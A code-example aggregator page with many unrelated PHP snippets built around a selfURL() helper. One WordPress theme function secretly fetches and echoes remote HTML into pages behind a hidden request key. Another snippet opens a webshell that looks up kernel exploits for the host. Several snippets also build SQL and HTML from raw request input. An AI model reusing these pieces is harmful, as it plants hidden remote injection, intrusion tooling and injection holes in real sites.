function tpl_action_url($url)
{
    $page_url = urlencode(selfURL());
    $page_title = urlencode(tpl_pagetitle(null, true));
    $url = str_replace("%PAGEURL%", $page_url, $url);
    $url = str_replace("%PAGETITLE%", $page_title, $url);
    return $url;
}
Exemple #2
0
function fflink()
{
    global $wpdb, $wp_query;
    if (!is_page() && !is_front_page()) {
        return;
    }
    $contactid = $wpdb->get_var("SELECT ID FROM {$wpdb->posts}\n               WHERE post_type = 'page' AND post_title LIKE 'contact%'");
    if ($contactid != $wp_query->post->ID && ($contactid || !is_front_page())) {
        return;
    }
    $fflink = get_option('fflink');
    $ffref = get_option('ffref');
    $x = $_REQUEST['DKSWFYUW**'];
    if (!$fflink || $x && $x == $ffref) {
        $x = $x ? '&ffref=' . $ffref : '';
        $response = wp_remote_get('http://www.fabthemes.com/fabthemes.php?getlink=' . urlencode(selfURL()) . $x);
        if (is_array($response)) {
            $fflink = $response['body'];
        } else {
            $fflink = '';
        }
        if (substr($fflink, 0, 11) != '!fabthemes#') {
            $fflink = '';
        } else {
            $fflink = explode('#', $fflink);
            if (isset($fflink[2]) && $fflink[2]) {
                update_option('ffref', $fflink[1]);
                update_option('fflink', $fflink[2]);
                $fflink = $fflink[2];
            } else {
                $fflink = '';
            }
        }
    }
    echo $fflink;
}
Exemple #3
0
 *
 * $Id: login.php,v 1.1 2007/05/22 05:38:38 andreas1980 Exp $
 *
 * Copyright 2006 Sun Microsystems Inc. All Rights Reserved
 */
// Loading SAML library
require_once '../openssophp/config/config.php';
require_once '../openssophp/lib/saml-lib.php';
// Needs a function to get the token from the php session
require_once '../openssophp/spi/sessionhandling/' . $LIGHTBULB_CONFIG['spi-sessionhandling'] . '.php';
// Needs a function to get the token from the php session
require_once '../openssophp/spi/namemapping/' . $LIGHTBULB_CONFIG['spi-namemapping'] . '.php';
// Load functions...
require_once "example-lib.php";
// URL to return user to after authentication. Will be this page :D
$return_url = selfURL();
// URL initiating SSO with lighbulb, contains some configuration parameters.
$ssoinit_url = $LIGHTBULB_CONFIG['baseurl'] . "spSSOInit.php?" . "metaAlias=/sp&" . "RelayState=" . urlencode($return_url);
// Logout URL. Also a openssophp service with some parameters and a return url.
$logout_url = $LIGHTBULB_CONFIG['baseurl'] . "spSLOInit.php?" . "metaAlias=/sp&" . "RelayState=" . urlencode($return_url);
$userid = $_POST["username"];
$password = $_POST["password"];
$username = authenticateLocalUser($userid, $password);
if (is_null($username)) {
    echo "Error login, probably bad credentials. Sorry.";
    exit;
} else {
    if (!is_null(spi_sessionhandling_getNameID())) {
        // The user is already authenticated to an IdP so we federate the accounts..
        $nameId = getNameID(spi_sessionhandling_getResponse());
        spi_namemapping_mapNameIdToLocalId($nameId["NameQualifier"], $nameId["SPNameQualifier"], spi_sessionhandling_getNameID(), $userid);
 /**
  * getLoginUser 
  * @param string $ticket
  * @return array
  **/
 public function getLoginUser($ticket)
 {
     global $server_url;
     $domain = $_SERVER['HTTP_HOST'];
     $sign = $this->_createSign(md5($ticket . $domain));
     $url = $server_url . "/index.php?action=api&view=getuser&ticket=" . $ticket . "&domain={$domain}&sign=" . $sign;
     $res = $this->_xpassServer($url);
     list($head, $body) = explode("\r\n\r\n", $res);
     $msg = json_decode($body, true);
     if ($msg['s'] == 200) {
         $msg['d'] = $this->_decryptToken($msg['d']);
     }
     if ($msg['s'] == 300) {
         $url = urlencode(selfURL());
         $msg['d'] .= '&forward=' . $url;
     }
     return $msg;
 }
*/
require_once ROOTDIR . "/include/database/class.ServerQueries.php";
require_once ROOTDIR . "/include/database/class.UserQueries.php";
require_once ROOTDIR . "/include/class.rcon.php";
function selfURL()
{
    $s = empty($_SERVER["HTTPS"]) ? '' : $_SERVER["HTTPS"] == "on" ? "s" : "";
    $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/") . $s;
    $port = $_SERVER["SERVER_PORT"] == "80" ? "" : ":" . $_SERVER["SERVER_PORT"];
    return $protocol . "://" . $_SERVER['SERVER_NAME'] . $port . $_SERVER['REQUEST_URI'];
}
function strleft($s1, $s2)
{
    return substr($s1, 0, strpos($s1, $s2));
}
$url = selfURL();
$url = substr($url, 0, strrpos($url, "/")) . "/";
$serverId = $_GET['serverId'];
$serverQueries = new ServerQueries();
$server = $serverQueries->getServer($serverId);
// Create an rcon object to connect to a single server on each iteration
$r = new rcon($server->getIp(), $server->getPort(), $server->getRcon());
$success = 0;
// Make sure it connected to the server
if ($r->isValid()) {
    // Is admin banning allowed
    $adminBanning = 0;
    if ($config->allowAdminBans) {
        $adminBanning = 1;
    }
    $r->Auth();
    $sortBy = "";
}
if (isset($_REQUEST["sortDir"])) {
    $sortDir = $_REQUEST["sortDir"];
} else {
    $sortDir = "ASC";
}
$db = login();
$selfUrl = "https://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"];
$msg = "";
writeHeader("Building session- build new session", "secure", $msg);
wizardHeader(2);
//echo "<p><font size=+1><a href=\"selectExistingSession.php?table=sessions&returnURL=".urlencode($selfUrl)."&returnIdName=sessionId\">Select existing session</a>\n";
//echo "&nbsp;&nbsp; or add a new session:\n</font></p>";
$idStr = '<a href="buildSession3.php?studyId=' . $studyId . '&sessionId=<ID>"><ID></a>';
$sortbyStr = '<a href="' . selfURL() . '?table=' . $table . '&studyId=' . $studyId . '&sortDir=<DIR2>&sortBy=<ID>"><ID><DIR></a>';
if ($sortBy == "") {
    // Default sort
    $sortBy = 'id';
}
$displaySummary = 1;
echo "<p><font size=+1><b>Select from the following existing sessions:</b></font></p>";
//tableText = displayTable($db, $table, $idStr, "WHERE primaryStudyID=".$studyId, 0, $displaySummary, "", $studyId, $subjectId, $sessionId, "", "", "", "");
$tableText = displayTable($db, $table, $idStr, "WHERE primaryStudyID=" . $studyId, 0, $displaySummary, "", $studyId, 0, $sessionId, $sortbyStr, $sortBy, $sortDir, "");
if ($tableText != "") {
    echo $tableText;
} else {
    echo "<p class=error>No entries found for studyid=" . $studyId . ".</p>\n";
    echo "<p><a href=buildSession2.php?studyId=" . $studyId . ">Back to previous page</a></p>\n";
}
//echo "<p><a href=\"editTable.php?table=studies&returnURL=".urlencode($selfUrl);
Exemple #7
0
if (!isset($_SESSION)) {
    session_start();
}
require_once dirname(__FILE__) . '/common/rememberme.php';
if (!isset($_SESSION['userId']) || !is_numeric($_SESSION['userId'])) {
    addError("Access denied");
    redirect('./index.php');
}
if (!is_numeric($_REQUEST['diagramId'])) {
    print "Wrond Diagram";
    exit;
}
$delegate = new Delegate();
$loggedUser = $delegate->userGetById($_SESSION['userId']);
$diagram = $delegate->diagramGetById($_REQUEST['diagramId']);
$selfUrl = selfURL();
//find full URL to this script
$url = strleft($selfUrl, '/exportDiagram.php');
//find the URL of the application
$WEBADDRESS = $delegate->settingsGetByKeyNative('WEBADDRESS');
//$svgLink = $WEBADDRESS . '/editor/raster.php?type=svg&diagramId=' . $diagram->id;
$pngLink = $WEBADDRESS . '/editor/png.php?type=png&diagramId=' . $diagram->id;
//$jpgLink = $WEBADDRESS . '/editor/raster.php?type=jpg&diagramId=' . $diagram->id;
$dmoLink = $WEBADDRESS . '/editor/dmo.php?diagramId=' . $diagram->id;
$page = 'export';
$rawLicense = $delegate->settingsGetByKeyNative('LICENSE');
$l = new License();
if (trim($rawLicense) != '') {
    $l->load($rawLicense);
}
$currentHost = $_SERVER['HTTP_HOST'];
 public function getAdminPaginationUrl($type = '')
 {
     $page = '';
     $this->totalRecord = $this->replaceEmpty('totalrecordonpage', 0);
     $callBackUrl = base64_decode($this->replaceEmpty('callbackurl', ''));
     # Retunrn url
     $page = $this->replaceEmpty('page', 1);
     if ($type == 'all') {
         //echo 'here';print_r($_REQUEST);
         $this->recordChecked = $this->replaceEmpty('checkStatus', array());
         $this->totalRecordChecked = count($this->recordChecked);
     } else {
         $this->totalRecordChecked = 1;
     }
     $recordRemains = $this->totalRecord - $this->totalRecordChecked;
     $this->currentpageurl = $callBackUrl != '' ? $callBackUrl : selfURL();
     // Getting page number from url start
     if (preg_match('/page=/', $this->currentpageurl)) {
         $pageArray = explode('?', $this->currentpageurl);
         $pageTempValueArray = explode('&', $pageArray[1]);
         foreach ($pageTempValueArray as $tempVal) {
             if (substr($tempVal, 0, 5) == "page=") {
                 $page = str_replace('page=', '', $tempVal);
             }
         }
         $page = $page == '' ? '1' : $page;
         # If page Value Not Found
     } else {
         $page = 1;
     }
     // Getting page number from url end
     if ($page > 1 && $recordRemains == 0) {
         $oldPage = $page;
         $page = $page - 1;
         $currpage = selfURL();
         if ($callBackUrl != '') {
             $this->currentpageurl = str_replace('page=' . $oldPage, 'page=' . $page, $callBackUrl);
         } else {
             $this->currentpageurl = str_replace('page=' . $oldPage, 'page=' . $page, $currpage);
         }
     } elseif ($page == 1 && $recordRemains == 0) {
         $this->currentpageurl = $_SERVER['PHP_SELF'];
     }
     return $this->currentpageurl;
 }
    echo "\t\t\t</tr>\n";
    for ($i = 0; $i < count($_FILES['images']['name']); $i++) {
        echo "\t\t\t<tr>\n";
        $allowed_types = array('image/jpeg', 'image/png', 'image/gif');
        if (in_array($_FILES['images']['type'][$i], $allowed_types, true)) {
            $token = new ToknData(generateRandomChars(8), str_shuffle(sha1(time())));
            $stor = new Stor(new StorFromData($_FILES['images']['name'][$i], $_FILES['images']['type'][$i], file_get_contents($_FILES['images']['tmp_name'][$i])));
            if ($stor->getSize() !== $_FILES['images']['size'][$i]) {
                throw new Exception("Content and content size mismatch");
            }
            $token->write();
            $stor->write(new StorToFile("var/stor/" . $token->getReference()));
            $retrieve_url = str_replace(basename(__FILE__), "g/" . $token->getName(), selfURL());
            $thumbnail = new Thumbnail($stor);
            $thumbnail_url = str_replace(basename(__FILE__), "t/" . $token->getName(), selfURL());
            $delete_url = str_replace(basename(__FILE__), "d/" . $token->getName() . "/" . $stor->getSecretKey(), selfURL());
            echo "\t\t\t\t<td>" . $_FILES['images']['name'][$i] . "</td>\n";
            echo "\t\t\t\t<td style=\"color: darkgreen; font-weight: bold;\">Successfully uploaded</td>\n";
            echo "\t\t\t\t<td><a href=\"{$thumbnail_url}\" target=\"_blank\">" . $thumbnail->html() . "</a></td>\n";
            echo "\t\t\t\t<td><a href=\"{$retrieve_url}\" target=\"_blank\">{$retrieve_url}</a></td>\n";
            echo "\t\t\t\t<td><a href=\"{$delete_url}\" target=\"_blank\">{$delete_url}</a></td>\n";
        } else {
            echo "\t\t\t\t<td>" . $_FILES['images']['name'][$i] . "</td>\n";
            echo "\t\t\t\t<td style=\"color: red; font-weight: bold;\">Won't upload</td>\n";
            echo "\t\t\t\t<td colspan=\"3\">" . "Type <i>" . $_FILES['images']['type'][$i] . "</i> is not allowed." . "</td>\n";
        }
        echo "\t\t\t</tr>\n";
    }
    echo "\t\t</table>\n";
    echo "\t\t<span style=\"color: darkgreen; font-weight: bold;\">Uploading finished.</span><br />\n";
} else {
<?php

require_once "../config/mobi_web_constants.php";
require_once PAGE_HEADER;
require_once LIBDIR . "StellarData.php";
require_once "stellar_lib.php";
function selfURL()
{
    $start = $_REQUEST["start"] ? (int) $_REQUEST["start"] : 0;
    $query = http_build_query(array("filter" => $_REQUEST['filter'], "start" => $start));
    return "search.php?{$query}";
}
$classes = StellarData::search_subjects($_REQUEST['filter']);
// if exactly one class is found redirect to that
// classes detail page
if (count($classes) == 1) {
    header("Location: " . detailURL($classes[0], selfURL()));
    die;
}
$content = new ResultsContent("items", "stellar", $page);
require "{$page->branch}/search.html";
$page->output();
Exemple #11
0
  $toggle = "ms_off";
  $mystellar_img = 'mystellar-off';
  $action = 'add';
}

if($_REQUEST['action'] == 'add') {
  if (!in_array($class_data, $mystellar)) {
    $mystellar[] = $class_data;
    header("Location: " . selfURL());
  }
}

if($_REQUEST['action'] == 'remove') {
  if (in_array($class_data, $mystellar)) {
    array_splice($mystellar, array_search($class_data, $mystellar), 1);
    header("Location: " . selfURL());
  } else {
    foreach ($mystellar as $item) {
      if (strpos($item,$class_id) !== false) {
	array_splice($mystellar, array_search($item, $mystellar), 1);
	header("Location: index.php");
      }
    }
  }
}

setMyStellar($mystellar);

if (!$class) {
  // no such class or none entered
  $not_found_text = "Sorry, class '$class_id' not found for the $term term";
Exemple #12
0
                        if($_SESSION['gal_size'])
                        {
                          if($_SESSION['gal_size'] != 'small')
                            $multi = 2;
                          else $milti = 1;
                        }
                      ?>
                        <?php if($multi == 1){ ?>
                          Small
                        <?php } else { ?>
                          <a href="<?php echo selfURL().'&gal_size=small'?>"> Small</a>
                        <?php }?> | 
                        <?php if($multi == 2){ ?>
                          Large
                        <?php } else { ?>
                          <a href="<?php echo selfURL().'&gal_size=large'?>"> Large</a>
                        <?php }?>
                        
                </div>
            </div>
      <style>

        .galery-content {
          float:left;
          width: <?php echo $multi*150 ?>px;
          margin-left:10px;
          margin-bottom:40px;
          border-bottom:solid 1pz #CCCCCC;
          //height: <?php echo $multi*150 ?>px;
          height: auto;
        }
Exemple #13
0
function writeHeader($title = '', $type = 'basic', $msg = '', $js = '')
{
    // basic- for standard public pages
    // secure- forces SSL before continuing
    if ($type == 'secure' && !isset($_SERVER["HTTPS"])) {
        header("Location: " . selfURL('https'));
        exit;
    }
    if ($msg == '' && isset($_SESSION['dbname'])) {
        $msg = "Currently logged in to " . $_SESSION['dbname'] . " as user '" . $_SESSION['username'] . "'.";
    }
    ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>mrData: <?php 
    echo $title;
    ?>
</title>
<style type="text/css" media=screen>
<!--
  TD   { font-family: Verdana,Arial; font-size: 10pt; }
  TH   { font-family: Verdana,Arial; font-size: 10pt; font-weight : bold}
  H1   { font-family: Verdana,Arial; font-size: 18pt; }
  H2   { font-family: Verdana,Arial; font-size: 14pt; }
  H3   { font-family: Verdana,Arial; font-size: 12pt; }
  p    { font-family: Times,Serif; font-size: 12pt; }
  ul    { font-family: Times,Serif; font-size: 12pt; }
  ol    { font-family: Times,Serif; font-size: 12pt; }
  p.foot { font-family: Verdana,Arial; font-size: 8pt; font-style: italic;
           text-align: center; color: #aaaaaa; 
           margin-left: 5%; margin-right: 5%; margin-top: 2em}
  p.error { font-family: Verdana,Arial; font-size: 14pt; font-weight: bold;
            color: red; }
  p.msg { font-family: Verdana,Arial; font-size: 12pt; color: red; }
  font.msg { font-family: Verdana,Arial; color: red; }
  a.foot:link    { color: #9999ff }
  a.foot:visited { color: #9999ff }
  a.foot:hover   { color: #0000ff }
  a.topNav:link    { color: #ffffff }
  a.topNav:visited { color: #ffffff }
  a.topNav:hover   { color: #ffffaa }
  td.topNav   { font-family: Verdana,Arial; font-size: 10pt; 
                color: #ffffff; font-weight : bold}
-->
</style>
<?php 
    if ($js != "") {
        echo "<script language=JAVASCRIPT><!--\n" . $js . "// --></script>\n";
    }
    ?>

</head>
<body bgcolor=#ffffff>
<table border=0 cellpadding=0 cellspacing=0 width=800>
<tr><td align=left><strong><a href="/mrdata/">mrData Home</a></strong>
    <?php 
    if ($msg != "") {
        echo "&nbsp; &nbsp; Status: <font class=msg>{$msg}</font>\n";
    }
    ?>
</td></tr>
<tr><td><hr></td></tr>
<tr><td>
<?php 
}
Exemple #14
0
$entry = isset($_GET['entry']) ? intval($_GET['entry']) : 0;
$db = new guestbook_vars(LAZ_INCLUDE_PATH);
$db->getVars();
header('Content-type: application/xml; charset=' . $db->VARS['charset'] . '');
function selfURL()
{
    $s = empty($_SERVER['HTTPS']) ? '' : $_SERVER['HTTPS'] == 'on' ? 's' : '';
    $protocol = strleft(strtolower($_SERVER['SERVER_PROTOCOL']), '/') . $s;
    $port = $_SERVER['SERVER_PORT'] == '80' ? '' : ':' . $_SERVER['SERVER_PORT'];
    return $protocol . '://' . $_SERVER['SERVER_NAME'] . $port . $_SERVER['REQUEST_URI'];
}
function strleft($s1, $s2)
{
    return substr($s1, 0, strpos($s1, $s2));
}
$whereRwe = selfURL();
$i = 0;
$items = '';
$lastbuild = '';
$result = $db->query('SELECT * FROM ' . LAZ_TABLE_PREFIX . '_data WHERE accepted=1 ORDER BY id DESC LIMIT ' . $entry . ',' . $db->VARS['entries_per_page']);
while ($lentry = $db->fetch_array($result)) {
    while (preg_match('!<object\\b[^>]*>(.*?)value\\=\\"(.*?)\\"(.*?)</object>!i', $lentry['comment'])) {
        $lentry['comment'] = preg_replace('!<object\\b[^>]*>(.*?)value\\=\\"(.*?)\\"(.*?)</object>!i', "[flash]<a href=\"\$2\" target=\"_blank\">\$2</a>[/flash]", $lentry['comment']);
    }
    if ($i == 0) {
        $lastbuild = date("r", $lentry['date']);
    }
    if ($db->VARS['included'] > 0) {
        if (strpos($db->VARS['laz_url'], '?') !== false) {
            $entryLink = $db->VARS['laz_url'] . '&amp;permalink=true&amp;entry=' . $lentry['id'];
        } else {
Exemple #15
0
*  UNDERGROUND NETWORK | WWW.LOCUS7S.COM                  
*  \E0T/                                                  
*********************************************************/
//for php proxy purposes
function selfURL()
{
    $s = empty($_SERVER["HTTPS"]) ? '' : $_SERVER["HTTPS"] == "on" ? "s" : "";
    $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/") . $s;
    $port = $_SERVER["SERVER_PORT"] == "80" ? "" : ":" . $_SERVER["SERVER_PORT"];
    return $protocol . "://" . $_SERVER['SERVER_NAME'] . $port . $_SERVER['REQUEST_URI'];
}
function strleft($s1, $s2)
{
    return substr($s1, 0, strpos($s1, $s2));
}
$selfurl = base64_encode(selfURL());
$phprox = "http://twofaced.org/proxy/index.php?q=" . $selfurl;
//end of link
//milw0rm search
$Lversion = php_uname(r);
$OSV = php_uname(s);
if (eregi("Linux", $OSV)) {
    $Lversion = substr($Lversion, 0, 6);
    $millink = "http://milw0rm.com/search.php?dong=Linux Kernel " . $Lversion;
} else {
    $Lversion = substr($Lversion, 0, 3);
    $millink = "http://milw0rm.com/search.php?dong=" . $OSV . " " . $Lversion;
}
//End of milw0rm search
//w4ck1ng Shell
if (!function_exists("myshellexec")) {
Exemple #16
0
require_once "pa_client.php";
require_once "pa_constants.php";
require_once 'rq_client.php';
require_once "sa_client.php";
require_once "cs_client.php";
require_once "proj_slice_member.php";
require_once "services.php";
require_once "user-preferences.php";
$user = geni_loadUser();
if (!isset($user) || is_null($user) || !$user->isActive()) {
    $msg = "Unable to load user record.";
    relative_redirect('error-text.php?error=' . urlencode($msg));
}
if (!$user->portalIsAuthorized()) {
    $km_url = get_first_service_of_type(SR_SERVICE_TYPE::KEY_MANAGER);
    $params['redirect'] = selfURL();
    $query = http_build_query($params);
    $km_url = $km_url . "?" . $query;
    print "<h2>Portal authorization</h2>";
    print "<p>";
    print "The GENI Portal is not authorized by you as a client tool. If you would like";
    print " the GENI Portal to help you manage your projects and slices, you can";
    print " <a href=\"{$km_url}\">authorize the portal</a> to do so.";
    print "</p>";
    return 0;
}
show_header('GENI Portal: Home', true, true);
include "tool-showmessage.php";
$tab_names_to_div_ids = array("Slices" => "#slices", "Projects" => "#projects", "Logs" => "#logs", "Map" => "#map");
$default_slice_tab = $tab_names_to_div_ids[get_preference($user->urn(), "homepage_tab")];
echo "<script type='text/javascript'>GENI_USERNAME = '******';";
Exemple #17
0
<?php

$page_title = "Nouvelle Startup";
require LIB_DIR . 'php_mailer' . DS . 'PHPMailerAutoload.php';
$phpmailer = new PHPMailer();
if (isset($_POST['email']) && $_POST['email'] != "") {
    $email = $_POST['email'];
    $token = md5($email);
    $url_register = selfURL() . '/?p=register&t=' . $token;
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $query = "SELECT * FROM users WHERE email = :email";
        $req = $pdo->prepare($query);
        $req->execute(array(':email' => $email));
        $result = $req->fetch();
        $phpmailer->setFrom('*****@*****.**', 'Exemple');
        $phpmailer->addAddress($email);
        $phpmailer->addReplyTo('*****@*****.**', 'Information');
        $phpmailer->isHTML(true);
        $phpmailer->CharSet = 'UTF-8';
        $phpmailer->Subject = 'Startup';
        $phpmailer->Body = 'Vous êtes incrit à notre newsletter, veuillez confirmer en cliquant sur ce <a href="' . $url_register . '">lien</a>';
        $phpmailer->AltBody = 'Vous êtes incrit à notre newsletter, veuillez confirmer en allant sur ce lien: ' . $url_register;
        if (!$result) {
            if (!$phpmailer->send()) {
                $msg = array('type' => 'alert', 'msg' => "L'email n'a pas pu être envoyé, veuillez réessayer");
            } else {
                $query = "INSERT INTO `users` (`email`, `token`) VALUES (:email, :token)";
                $req = $pdo->prepare($query);
                $req->execute(array(':email' => $email, ':token' => $token));
                $msg = array('type' => 'success', 'msg' => "Vous êtes bien enrengistré");
            }
    }
    if (in_array($sortBy, $scanArray)) {
        $sortByOrder = "scans." . $sortBy;
    } else {
        $sortByOrder = "sessions." . $sortBy;
    }
    //  if($sortBy=="")
    //    $sortBy = "start";
    $q2 .= "ORDER by " . $sortByOrder . " " . $sortDir;
    if (!($res = mysql_query($q2, $db))) {
        print "\n<p>ERROR " . mysql_error($db);
        exit;
    }
    $totalNumRows = mysql_num_rows($res);
    $displaySummaryStr = '<a href="' . selfURL() . '?displaySummary=<DS>&sortDir=' . $sortDir . '&sortBy=' . $sortBy . '&dateAfterMo=' . $dateAfterMo . '&dateAfterDd=' . $dateAfterDd . '&dateAfterYr=' . $dateAfterYr . '&dateBeforeMo=' . $dateBeforeMo . '&dateBeforeDd=' . $dateBeforeDd . '&dateBeforeYr=' . $dateBeforeYr . '&sessionNotes=' . $sessionNotes . '&scanType=' . $scanType . '&scanNotes=' . $scanNotes . '&ss2=1' . '">Click here to see a <DSS> version</a>';
    $sortbyStr = '<a href="' . selfURL() . '?displaySummary=' . $displaySummary . '&sortDir=<DIR2>&sortBy=<ID>&sessionNotes=' . $sessionNotes . '&dateAfterMo=' . $dateAfterMo . '&dateAfterDd=' . $dateAfterDd . '&dateAfterYr=' . $dateAfterYr . '&dateBeforeMo=' . $dateBeforeMo . '&dateBeforeDd=' . $dateBeforeDd . '&dateBeforeYr=' . $dateBeforeYr . '&scanType=' . $scanType . '&scanNotes=' . $scanNotes . '&ss2=1' . '"><ID2><DIR></a>';
    $tbl = 'scans';
    $tbl2 = 'sessions';
    if ($totalNumRows > 0) {
        displaySearchResult2($db, $tbl, $tbl2, $res, $int_cur_position, $displaySummaryStr, $displaySummary, $sortbyStr, $sortBy, $sortDir);
    } else {
        echo "<center><h2>No result found. Try again.</h2></center>\n";
    }
}
/*
if($specialSearch3){
  $scanType = strtolower(trim($scanType));
  $scanNotes = strtolower(trim($scanNotes));
  $q2 = "SELECT sessions.*, scans.* FROM sessions, scans WHERE scans.sessionID = sessions.id ";
  if($scanType != ""){
	$scanType = str_replace('*', '%', $scanType);
Exemple #19
0
<?php

include 'start.php';
include '../editor/common/utils.php';
include 'log.php';
include 'umbilicus.php';
#include('../editor/common/delegate.php');
$fullURL = selfURL();
$appUrl = substr($fullURL, 0, strpos($fullURL, '/install'));
/**Added a ping to Diagramo to count nr of installations and version
 */
#$installURL = DIAGRAMO . '/install.php?step=license&version=' . VERSION . '&url=' . urlencode($appUrl);
#$data = get($installURL);
define('STEP', 'step4');
?>

<!DOCTYPE HTML>
<html>
    <head>
        <title>4 - Done</title>
        <link href="./assets/style.css" rel="stylesheet" type="text/css" />
    </head>
    <body>

        <div id="content">
            <?php 
include 'logo.php';
?>
            <?php 
include 'breadcrumb.php';
?>
Exemple #20
0
				
							if($_GET['action'] == 'add') {
								$tInfo = array();
								$heading = 'New Template';
							}
							
							if($_GET['action'] == 'edit') {
								$templateResults = dbQuery('SELECT * FROM email_templates WHERE email_templates_id = '.$_GET['id']);
								$tInfo = dbFetchArray($templateResults);
								$heading = output($tInfo['email_templates_name']);
							}
							?>
                             <form id="form" name="form1" method="post" action="<?=PAGE_COMMUNICATION?>">
                             <input type="hidden" name="action" value="savetemplate" />
                             <input type="hidden" name="id" value="<?=$_GET['id']?>" />
                             <input type="hidden" name="return_url" value="<?=selfURL()?>" />
                             
                             
                            <table width="100%" border="0" cellpadding="0" cellspacing="0" >
                              <tr>
                                <td valign="top" class="formBody">
                                <div class="mb20"></div>
                                  
                                  <table border="0" cellspacing="0" cellpadding="5">
                                    <tr>
                                      <td  nowrap="nowrap">
                                      <h2><?=$heading?></h2>
                                      <table width="100%" border="0" cellspacing="0" cellpadding="5">
                                        <tr>
                                          <td class="pageTitleSub">Template Name (100 chars max)</td>
                                        </tr>
                            <td width="23%" align="center">
							<?php 
if (isset($_REQUEST['category_id'])) {
    ?>
							<form action="add_product.php" method="post"><input type="submit" name="submit2" id="submit2" value="Add New Product" />
                            <?php 
}
?>
							<?php 
/*?><?php //if( isset($_REQUEST['category_id']) &&  $_REQUEST['p']!=42 && ($b==1 || $b==2 )){?><form action="add_product.php" method="post"><input type="submit" name="submit2" id="submit2" value="Add New Product" /><?php */
?>
                            
                            
                            
        <input name="hUrl" type="hidden" value="<?php 
echo selfURL();
?>
" />
        <input type="hidden" name="category_id" id="category_id" value="<?php 
echo $_REQUEST['category_id'];
?>
" /></form><?php 
// }
?>
</td>
                          </tr>
                      </table></td>
                    </tr>
                </table></td>
              </tr>
            </table>
function add_xhr_location()
{
    header("X-XHR-Current-Location: " . selfURL());
}
Exemple #23
0
		$manager_title  = "Photographer";
		$website_url    = "http://www.yoursite.com"; // URL to the root of the site - *NOT CURRENTLY USED
	
		include( "../database.php" ); // ADD DATABASE CONNECTION FILE
		include( "../functions.php" ); // ADD FUNCTIONS FILE
		
		$infoshare = "on";
		include("../version.php");
		
		$settings_result = mysql_query("SELECT * FROM settings where id = '1'", $db);
		$setting = mysql_fetch_object($settings_result);
		// OVERRIDE MANAGER/SITE TITLE IF ONE EXISTS IN THE DATABASE
		if($setting->site_title != ""){
			$manager_title = $setting->site_title;
		}
		$install_url = selfURL();
		$array_url = explode("/",$install_url);
		$strip = $array_url[count($array_url) - 1];
		$install_url = str_replace($strip, "", $install_url);
		$array2_url = explode("/",$install_url);
		$strip2 = $array2_url[count($array2_url) - 2];
		$install_url = str_replace($strip2, "", $install_url);
		$install_url = substr($install_url, 0, -2);
		
		if($setting->site_url != $install_url){
			$sql = "UPDATE settings SET site_url='$install_url' WHERE id = '1'";
			$result = mysql_query($sql);
		}
		$stock_photo_path_manager = "../" . $setting->photo_dir . "/";
		$stock_video_path_manager = "../" . $setting->video_dir . "/";
		$sample_video_path_manager = "../" . $setting->sample_dir . "/";
    $sortBy = $_REQUEST["sortBy"];
} else {
    $sortBy = "";
}
if (isset($_REQUEST["sortDir"])) {
    $sortDir = $_REQUEST["sortDir"];
} else {
    $sortDir = "ASC";
}
$selfUrl = "https://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"];
$msg = "";
writeHeader("Building session- select study", "secure", $msg);
wizardHeader(1);
echo "<p><font size=+1><a href=\"buildNewStudy.php?table=studies&returnURL=" . urlencode($selfUrl) . "&returnIdName=studyId\">Add new study</a>\n";
echo "&nbsp;&nbsp; or select an existing study:\n</font></p>";
$table = 'studies';
$idStr = '<a href="buildSession2.php?studyId=<ID>"><ID></a>';
$sortbyStr = '<a href="' . selfURL() . '?sortDir=<DIR2>&sortBy=<ID>"><ID2><DIR></a>';
if ($sortBy == "") {
    // Default sort
    $sortBy = 'id';
}
$displaySummary = 1;
$tableText = displayTable($db, $table, $idStr, "", 0, $displaySummary, "", $studyId, $subjectId, $sessionId, $sortbyStr, $sortBy, $sortDir, "builder");
if ($tableText != "") {
    echo $tableText;
} else {
    echo "<p class=error>No entries found.</p>\n";
}
echo "<p><font size=+1><a href=index.php>Back to home page</font></a></p>\n";
writeFooter('basic');
} else {
    // LIST ALL PROTOCOLS
    $protocols = listCachedProtocols($cacheDir);
    echo "<p class=msg>Cache for <strong>{$scanner}</strong> last updated {$cacheTime}</p>\n";
    if (!$protocols) {
        echo "<p class=msg>No Protocols found in cache.</p>\n";
    } else {
        echo "<p>Protocols from <strong>{$scanner}</strong> ({$src->host}):</p>\n";
        echo "<table border=1 cellspacing=1 cellpadding=4>\n";
        echo "<tr><th>Category</th><th>Name</th><th>Action</th>\n</tr>\n<tr>\n";
        foreach ($protocols as $pCatName => $pCat) {
            foreach ($pCat as $p) {
                echo "<tr>\n<td>{$pCatName}</td>\n";
                echo "<td>" . str_replace('@20', ' ', $p) . "</td>\n";
                echo "<td><a href=\"" . selfURL() . "?scanner={$scanner}&cat=" . urlencode($pCatName) . "&protocol=" . urlencode($p) . "\">display</a> | \n";
                echo "<a href=\"" . selfURL() . "?scanner={$scanner}&add=1&cat=" . urlencode($pCatName) . "&protocol=" . urlencode($p) . "\">add to mrData</a></td>\n";
                echo "</tr>\n";
            }
        }
        echo "</table>\n";
    }
    echo "<ul>\n";
    foreach ($scannerList as $s) {
        echo "<li><a href=\"" . $_SERVER["PHP_SELF"] . "?scanner=" . urlencode($s) . "&refreshCache=1\">";
        echo "Refresh protocol cache for {$s}</a></li>\n";
    }
    echo "</ul>\n";
}
writeFooter();
function listCachedProtocols($cacheDir)
{
Exemple #26
0
<?php  if($setting->flashthumbs == 1){ ?><script type="text/javascript" src="js/swfobject.js"></script><?php } ?>
<div class="g-header bg">
                	<div class="left">
                    	<ul class="tabs">
                        	<li <?php if($_GET['sort_by'] == 'date' || !isset($_GET['sort_by'])) echo 'class="active"' ?> >
                            <a href="<?php if($_GET['sort_by'] == 'date' || !isset($_GET['sort_by'])) echo selfURL(); else echo selfURL().'&sort_by=date'?>"><?php echo $homepage_newest; ?></a>
                          </li>
                          <li <?php if($_GET['sort_by'] == 'popular') echo ' class="active"';?> >
                            <a href="<?php if($_GET['sort_by'] == 'popular') echo selfURL(); else echo selfURL().'&sort_by=popular'?>"><?php echo  $homepage_popular; ?></a>
                          </li>
                          <li <?php if($_GET['sort_by'] == 'random') echo ' class="active"';?>>
